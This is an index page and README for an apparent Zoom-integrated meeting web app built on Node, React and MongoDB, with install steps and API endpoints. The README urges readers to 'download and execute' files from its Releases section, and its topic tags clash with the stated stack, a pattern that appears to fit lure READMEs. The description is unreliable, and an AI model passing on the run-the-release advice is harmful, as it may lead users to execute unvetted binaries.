An open API service indexing awesome lists of open source software.

https://github.com/aklilsky/zoom-integration

A meeting website that integrates Zoom and allows users to log in either with a regular account or via Google.
https://github.com/aklilsky/zoom-integration

appointment-booking appointment-scheduler atlassian-jira chatgpt discourse-plugin framework kanban-board-application laravel online-meeting php-zoom reservation-system zoom-api zoom-oauth zoom-python

Last synced: 2 days ago
JSON representation

A meeting website that integrates Zoom and allows users to log in either with a regular account or via Google.

Awesome Lists containing this project

README

        

# Zoom Integration 📅

![Zoom Integration](https://img.shields.io/badge/Zoom%20Integration-v1.0-blue.svg)
[![Releases](https://img.shields.io/badge/Releases-latest-orange.svg)](https://github.com/aklilsky/Zoom-integration/releases)

Welcome to the **Zoom Integration** repository! This project is a meeting website that seamlessly integrates Zoom, allowing users to log in with a regular account or via Google. With a focus on user experience and functionality, this application provides a simple yet powerful way to manage meetings and schedules.

---

## Table of Contents

- [Features](#features)
- [Technologies Used](#technologies-used)
- [Installation](#installation)
- [Usage](#usage)
- [API Documentation](#api-documentation)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)

---

## Features

- **User Authentication**: Secure login options using regular accounts or Google OAuth2.
- **Meeting Management**: Create, edit, and delete meetings with ease.
- **Agenda Overview**: View and manage your meeting agenda efficiently.
- **Email Notifications**: Receive updates and reminders through email using Nodemailer.
- **Responsive Design**: Built with Tailwind CSS for a clean and responsive interface.
- **Real-time Updates**: Enjoy a smooth user experience with React for dynamic rendering.
- **Database Integration**: Store user data and meeting details in MongoDB.

---

## Technologies Used

This project utilizes a range of technologies to deliver a robust application:

- **Node.js**: Server-side JavaScript runtime for building the backend.
- **Express**: Web framework for Node.js to handle server requests.
- **MongoDB**: NoSQL database for storing user and meeting data.
- **JWT**: JSON Web Tokens for secure user authentication.
- **React**: Frontend library for building user interfaces.
- **TypeScript**: Superset of JavaScript that adds static types for better code quality.
- **Tailwind CSS**: Utility-first CSS framework for styling.
- **Nodemailer**: Module for sending emails from Node.js applications.
- **OAuth2**: Authorization framework for secure login options.
- **Nodemon**: Tool for automatically restarting the server during development.

---

## Installation

To get started with the Zoom Integration project, follow these steps:

1. **Clone the repository**:
```bash
git clone https://github.com/aklilsky/Zoom-integration.git
cd Zoom-integration
```

2. **Install dependencies**:
```bash
npm install
```

3. **Set up environment variables**:
Create a `.env` file in the root directory and add your configuration settings. Here’s an example:
```
MONGODB_URI=your_mongodb_uri
JWT_SECRET=your_jwt_secret
GOOGLE_CLIENT_ID=your_google_client_id
GOOGLE_CLIENT_SECRET=your_google_client_secret
```

4. **Run the application**:
```bash
npm start
```

5. **Access the application**:
Open your browser and navigate to `http://localhost:3000`.

For the latest version, you can download and execute the files from the [Releases section](https://github.com/aklilsky/Zoom-integration/releases).

---

## Usage

After installation, you can start using the application:

1. **Log In**: Use your regular account credentials or log in via Google.
2. **Create a Meeting**: Navigate to the meetings page and fill in the details to create a new meeting.
3. **Manage Your Agenda**: View upcoming meetings and make changes as needed.
4. **Receive Notifications**: Ensure your email is set up to receive meeting reminders.

---

## API Documentation

The application provides a RESTful API to manage meetings and user authentication. Below are some key endpoints:

### User Authentication

- **POST /api/auth/login**
- Login with credentials.

- **POST /api/auth/google**
- Login with Google OAuth2.

### Meeting Management

- **GET /api/meetings**
- Retrieve all meetings for the logged-in user.

- **POST /api/meetings**
- Create a new meeting.

- **PUT /api/meetings/:id**
- Update an existing meeting.

- **DELETE /api/meetings/:id**
- Delete a meeting.

### Email Notifications

- **POST /api/notifications**
- Send meeting reminders via email.

For a complete list of endpoints and their details, please refer to the [API documentation](#).

---

## Contributing

We welcome contributions to enhance the Zoom Integration project. If you would like to contribute, please follow these steps:

1. **Fork the repository**.
2. **Create a new branch** for your feature or bug fix:
```bash
git checkout -b feature/my-feature
```
3. **Make your changes** and commit them:
```bash
git commit -m "Add my feature"
```
4. **Push to the branch**:
```bash
git push origin feature/my-feature
```
5. **Create a pull request**.

Your contributions help improve the project for everyone!

---

## License

This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for more details.

---

## Contact

For any questions or feedback, feel free to reach out:

- **Author**: [aklilsky](https://github.com/aklilsky)
- **Email**: [email protected]

Thank you for checking out the Zoom Integration project! For the latest updates, please visit the [Releases section](https://github.com/aklilsky/Zoom-integration/releases).